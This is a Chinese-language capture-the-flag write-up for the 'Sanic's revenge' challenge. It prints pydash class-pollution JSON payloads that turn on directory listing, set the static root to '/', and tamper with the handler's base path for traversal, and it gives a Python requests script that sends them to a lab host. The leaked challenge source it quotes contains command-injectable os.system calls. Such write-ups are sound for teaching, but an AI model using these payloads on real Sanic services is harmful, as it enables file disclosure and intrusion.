本文编写于 113 天前,最后修改于 112 天前,其中某些信息可能已经过时。
运气好,抢到个一血
Sanic's revenge
先下载附件
根据题目知道是ciscn2024的Sanic的修改版,直接找到国赛的wp
直接复制payload即可
开启目录模式
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}
ssrf
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}
爆破得到app.py源码
/proc/9/cmdline知道/app/2Q17A58T9F65y5i8.py
from sanic import Sanic
import os
from sanic.response import text, html
import sys
import random
import pydash
# pydash==5.1.2
#源码好像被admin删掉了一些,听他说里面藏有大秘密
class Pollute:
def __init__(self):
pass
def create_log_dir(n):
ret = ""
for i in range(n):
num = random.randint(0, 9)
letter = chr(random.randint(97, 122))
Letter = chr(random.randint(65, 90))
s = str(random.choice([num, letter, Letter]))
ret += s
return ret
app = Sanic(__name__)
app.static("/static/", "./static/")
@app.route("/Wa58a1qEQ59857qQRPPQ")
async def secret(request):
with open("/h111int",'r') as f:
hint=f.read()
return text(hint)
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())
@app.route("/adminLook", methods=['GET'])
async def AdminLook(request):
#方便管理员查看非法日志
log_dir=os.popen('ls /tmp -al').read();
return text(log_dir)
@app.route("/pollute", methods=['GET', 'POST'])
async def POLLUTE(request):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
log_dir=create_log_dir(6)
log_dir_bak=log_dir+".."
log_file="/tmp/"+log_dir+"/access.log"
log_file_bak="/tmp/"+log_dir_bak+"/access.log.bak"
log='key: '+str(key)+'|'+'value: '+str(value);
#生成日志文件
os.system("mkdir /tmp/"+log_dir)
with open(log_file, 'w') as f:
f.write(log)
#备份日志文件
os.system("mkdir /tmp/"+log_dir_bak)
with open(log_file_bak, 'w') as f:
f.write(log)
return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")
if __name__ == '__main__':
app.run(host='0.0.0.0')
得到hint,flag在/app下
还可以访问/adminLook得到/tmp目录下的日志文件夹
获取flag名字
这里先本地搭个调试的环境
先在本地把上面的payload打一遍,把上面的属性一个个尝试过去发现更改base属性会导致/static/报错
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "aa"}
访问/static/返回500,可以看到在我们本来的/static/路径后面又加上了一个atic,说明有可能可以通过base在后面加上../来进行路径穿越
通过调试发现是在DirectoryHandler这个类的文件里对我们请求的路径和文件夹路径进行了一次拼接
所以才会出现上面的报错
那为什么是atic呢?
current = path.strip("/")[len(self.base) :].strip("/")
因为我们请求的路径是/static/,所以path是/static/,去掉/后是static,base我们污染为aa,长度为2,截取之后就是atic了。
那我们能不能访问/static/../然后截取为../呢,经过尝试发现不行,会直接返回404,调试都调不到我们上面那个地方
这里我没具体去调,应该是要返回30x,即存在的目录才可以到那个地方。
虽然我们的base可控,但是path被限制为要存在的目录。那什么目录后面会有../呢?还真有
先污染base为我们要的长度
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/tmp/19A4CY"}
然后访问/static/tmp/19A4CY../
成功得到current为..,并拼接到/static/后面
成功往上跳了一级
靶机拿flag
把下面的payload一个个发过去就可以了。
import requests
base = 'http://3d462db3-c5d0-474f-a518-5882c80965cf.node5.buuoj.cn:81'
s = requests.Session()
# 开启目录浏览
#data={"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}
# 开启ssrf
#data={"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}
# 传paths让靶机写日志文件夹
# data = {"key":"paths","value": "test"}
# 污染base,往上跳一级,value的值要自己访问/adminLook得到
data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/tmp/19A4CY"}
r = s.post(base + '/pollute', json=data)
print(r.text)
得到flag名字
ssrf读即可